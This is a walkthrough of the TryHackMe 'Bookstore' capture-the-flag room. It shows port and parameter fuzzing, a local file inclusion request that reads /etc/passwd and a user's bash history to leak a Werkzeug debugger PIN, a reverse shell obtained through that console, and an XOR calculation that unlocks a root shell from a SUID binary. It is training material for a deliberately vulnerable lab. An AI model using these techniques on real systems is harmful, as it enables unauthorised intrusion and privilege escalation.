on
TryHackMe Bookstore
Room Description:
A Beginner level box with basic web enumeration and REST API Fuzzing.
Let's start with a quick port scan.
nmap -sC -sV bookstore.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
It's hosting two http servers, and the one on port 5000 has one entry
in its /robots.txt
. Probably a REST API as the room description suggests. I also
went on to scan all ports to no avail.
🔗Port 80
The site on port 80 is mostly empty with a few forms that aren't connected to anything,
but after a little searching I found an interesting comment in /login.html
.
curl -s bookstore.thm/login.html | grep '<!--'
...
<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->
I'm not sure what's mean by the debugger pin yet, but we have a username: sid.
🔗Port 5000
Nothing on the home page, let's try directory enumeration.
curl -s bookstore.thm:5000
<title>Home</title>
<h1>Foxy REST API v2.0</h1>
<p>This is a REST API for science fiction novels.</p>
ffuf -u bookstore.thm:5000/FUZZ -w $(locate -r /common.txt)
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://bookstore.thm:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
api [Status: 200, Size: 825, Words: 82, Lines: 12]
console [Status: 200, Size: 1985, Words: 411, Lines: 53]
robots.txt [Status: 200, Size: 45, Words: 5, Lines: 2]
:: Progress: [4713/4713]Â :: Job [1/1] :: 188 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Navigating to /console
prompts us for a pin. Werkzeug must be a web console
for debugging that was left in production in this fictional scenario. Maybe the
REST API is vulnerable to LFI and we can read sid's .bash_history
file.

Navigating to /api
shows documentation of an endpoint called books
.
curl -s bookstore.thm:5000/api | html2text
****** API Documentation ******
**** Since every good API has a documentation we have one as well! ****
***** The various routes this API currently provides are: *****
/api/v2/resources/books/all (Retrieve all books and get the output in a json format)
/api/v2/resources/books/random4 (Retrieve 4 random records)
/api/v2/resources/books?id=1(Search by a specific parameter , id parameter)
/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling)
/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993)
/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)
After a bunch of fuzzing and trying sqlmap
with no results I thought to try changing v2
to v1
.
curl -I bookstore.thm:5000/api/v1/resources/books?id=1
HTTP/1.0 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
Content-Length: 237
Server: Werkzeug/0.14.1 Python/3.6.9
Date: Tue, 08 Nov 2022 21:22:52 GMT
Looks like version 1 is still up. Let's try fuzzing for parameters that aren't listed in the documentation.
ffuf -u 'http://bookstore.thm:5000/api/v1/resources/books?FUZZ=/etc/passwd' -w $(locate actions-lowercase)
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://bookstore.thm:5000/api/v1/resources/books?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/Web-Content/api/actions-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
show [Status: 200, Size: 1555, Words: 9, Lines: 31]
:: Progress: [109/109]Â :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::'
Finally a vulnerable parameter, and upon further inspection it turns out to be the LFI foreshadowed by the comment in /login.html
.
curl -s 'http://bookstore.thm:5000/api/v1/resources/books?show=/home/sid/.bash_history'
whoami
export WERKZEUG_DEBUG_PIN=123-321-135
echo $WERKZEUG_DEBUG_PIN
python3 /home/sid/api.py
ls
exit
With access to the python console we can simply paste some code from revshells.com and get a shell.

🔗Local Privilege Escalation
In sid's home dir there's a SUID binary owned by root. This must be the intended path for privilege escalation.
sid@bookstore:~$ ls -l
total 44
-r--r--r-- 1 sid sid 4635 Oct 20 2020 api.py
-r-xr-xr-x 1 sid sid 160 Oct 14 2020 api-up.sh
-rw-rw-r-- 1 sid sid 16384 Oct 19 2020 books.db
-rwsrwsr-x 1 root sid 8488 Oct 20 2020 try-harder
-r--r----- 1 sid sid 33 Oct 15 2020 user.txt
What does it do?
sid@bookstore:~$ ./try-harder
What's The Magic Number?!
1337
Incorrect Try Harder
Seems like a reverse engineering challenge. I tried strings
, ltrace
, and strace
before copying it to my machine,
dropping it into IDA, and generating some C pseudocode.

The germane part is this:
v6 = 23987;
scanf("%d", &v5);
v7 = v6 ^ v5 ^ 0x1116;
if (v7 == 1573724660)
system("/bin/bash -p");
The ^
symbol denotes the XOR operation, which is easiest to explain visually to those unfamiliar:
1010110
XOR 1101111
-----------
0111001
The result is 0
where the operands agree and 1
where they differ.
If we assert v7
is equal to the correct value to give us a root shell,
and convert all numbers to hex, the xor expression can be rearranged to
0x1116 ^ 0x5db3 ^ 0x5dcd21f4 = v5
. The reason v5
can be isolated this way
is that xor is its own inverse. Then all that's left to find the correct input
is to compute the xor of these three terms.
python -c 'print(int(0x1116) ^ int(0x5db3) ^ int(0x5dcd21f4))'
1573743953
Let's try it.
sid@bookstore:~$ ./try-harder
What's The Magic Number?!
1573743953
root@bookstore:~#
And there we have it. This room was good practice for learning to persist when fuzzing. I especially liked the step which required
going from v2
to v1
.